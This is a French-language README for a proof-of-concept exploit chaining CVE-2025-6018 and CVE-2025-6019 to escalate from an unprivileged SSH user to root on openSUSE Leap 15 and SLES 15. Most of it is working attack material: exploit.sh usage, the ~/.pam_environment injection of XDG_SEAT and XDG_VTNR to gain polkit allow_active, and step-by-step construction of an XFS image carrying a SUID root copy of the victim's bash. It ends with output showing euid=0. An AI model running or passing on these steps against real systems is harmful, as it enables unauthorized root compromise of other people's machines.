
CVE-2025-6018 CVE-2025-6019 Exploit PoC - Élévation de privilèges locale dans openSUSE/SUSE Linux Enterprise 15 - Contournement de PAM + condition de course XFS udisks2 LPE vers root
PoC/Exploit fonctionnel pour CVE-2025-6018 et CVE-2025-6019 - Élévation de privilèges d'un utilisateur non privilégié à root sur openSUSE Leap 15.x et SUSE Linux Enterprise 15.x
| ID CVE | Vulnérabilité | Impact |
|---|---|---|
| CVE-2025-6018 | Injection de variables d'environnement PAM | Contournement vers le statut polkit allow_active |
| CVE-2025-6019 | Course critique lors du redimensionnement XFS udisks2/libblockdev | Shell root |
Unprivileged SSH User → [CVE-2025-6018] → allow_active → [CVE-2025-6019] → ROOT
# Check vulnerability
./exploit.sh --check
# Setup PAM bypass (CVE-2025-6018)
./exploit.sh --setup
# Reconnect SSH, then: su - $USER
# Exploit (CVE-2025-6019)
./exploit.sh --exploit /tmp/xfs.img
# Result: ROOT SHELL
uid=1000(user) gid=1000(user) euid=0(root)
git clone https://github.com/DesertDemons/CVE-2025-6018-6019.git
cd CVE-2025-6018-6019
chmod +x *.sh
⚠️ Note : openSUSE Leap 15.6 arrive en fin de vie le 30 avril 2026. Après cette date, aucun correctif de sécurité ne sera publié. Les utilisateurs devraient migrer vers Leap 16.0 ou SLES avec support étendu.
user_readenv=1allow_active: yes pour les actions udisks2./exploit.sh --check
./exploit.sh --setup
# Then: exit SSH, reconnect, run: su - $USER
./exploit.sh --exploit /tmp/xfs.img
./exploit.sh --auto /tmp/xfs.img
./exploit.sh --create-image
À exécuter sur la machine de l'ATTAQUANT en tant que root :
⚠️ Vous DEVEZ utiliser le binaire
/usr/bin/bashde la victime, pas celui de votre machine locale. Un binaire bash provenant d'une autre distribution (Kali, Arch, Ubuntu, etc.) échouera sur la cible en raison d'une incompatibilité ABI glibc/bibliothèques partagées — même sur la même architecture x86_64.
Le script détecte automatiquement votre version de xfsprogs et applique les options correctes :
# Get victim's bash first
scp user@target:/usr/bin/bash /tmp/victim_bash
# Create image (auto-detects safe mkfs flags)
sudo ./create_image.sh /tmp/victim_bash xfs.img
# For SUSE 15 SP1-SP4 targets (kernel < 5.14), use compatibility mode:
sudo ./create_image.sh --compat /tmp/victim_bash xfs.img
sudo su -
# 1. Get victim's bash binary
scp user@target:/usr/bin/bash /tmp/bash
# 2. Create 300MB XFS image with safe flags
dd if=/dev/zero of=xfs.img bs=1M count=300
mkfs.xfs -f -i exchange=0 -n parent=0 xfs.img
# 3. Mount with SUID support
mkdir -p /tmp/mnt
mount -o loop,suid xfs.img /tmp/mnt
# 4. Copy victim's bash and set SUID bit
cp /tmp/bash /tmp/mnt/xpl
chmod 4755 /tmp/mnt/xpl
chown root:root /tmp/mnt/xpl
ls -la /tmp/mnt/xpl # MUST show: -rwsr-xr-x
# 5. Unmount and transfer
umount /tmp/mnt
scp xfs.img user@target:/tmp/
L'image XFS doit être formatée avec des options compatibles avec le noyau de la cible. Les versions récentes de xfsprogs activent par défaut des fonctions sur disque que les anciens noyaux SUSE ne peuvent pas lire, ce qui provoque des erreurs wrong fs type, bad superblock lors du montage de redimensionnement udisks2.
| Cible | Noyau | Commande mkfs.xfs |
|---|---|---|
| SUSE 15 SP5-SP6 | 5.14 / 6.4 | mkfs.xfs -f -i exchange=0 -n parent=0 xfs.img |
| SUSE 15 SP1-SP4 | 4.12 - 5.3 | mkfs.xfs -f -m crc=0,reflink=0 xfs.img |
Pourquoi ? exchange et parent sont des fonctions du noyau 6.10+ (activées par défaut dans xfsprogs 6.x). bigtime, inobtcount et nrext64 sont des fonctions du noyau 5.10+. La commande « compat » SP1-SP4 (-m crc=0,reflink=0) crée un format XFS V4 avec toutes les fonctions modernes désactivées, qui fonctionne sur tous les SP de SUSE 15.
Vulnérabilité : le module pam_env de PAM lit ~/.pam_environment avec user_readenv=1 (valeur par défaut sur SUSE), ce qui permet l'injection de variables d'environnement.
Exploit : définir XDG_SEAT=seat0 et XDG_VTNR=1 pour tromper systemd-logind et lui faire accorder les privilèges polkit allow_active.
# ~/.pam_environment
XDG_SEAT=seat0
XDG_VTNR=1
Vulnérabilité : lors du redimensionnement d'un système de fichiers XFS via udisks2, libblockdev monte temporairement le système de fichiers sans l'option nosuid.
Exploit :
./exploit.sh --check
Sortie :
[+] pam_env.so found in PAM configuration
[+] pam_systemd.so found - escalation vector available
[+] Target OS is vulnerable (openSUSE/SLES)
[-] allow_active status: NO
./exploit.sh --setup
exit
ssh user@target
su - $USER
./exploit.sh --check
Sortie :
[+] allow_active status: YES
You have allow_active privileges!
# On attacker:
scp xfs.img user@target:/tmp/
./exploit.sh --exploit /tmp/xfs.img
Sortie :
[+] Loop device created: /dev/loop0
[+] Loop device verified as XFS
[*] Starting race condition loop...
[*] Triggering XFS resize on loop0...
=== ROOT SHELL OBTAINED ===
uid=1000(user) gid=1000(user) euid=0(root) groups=1000(user)
root@target#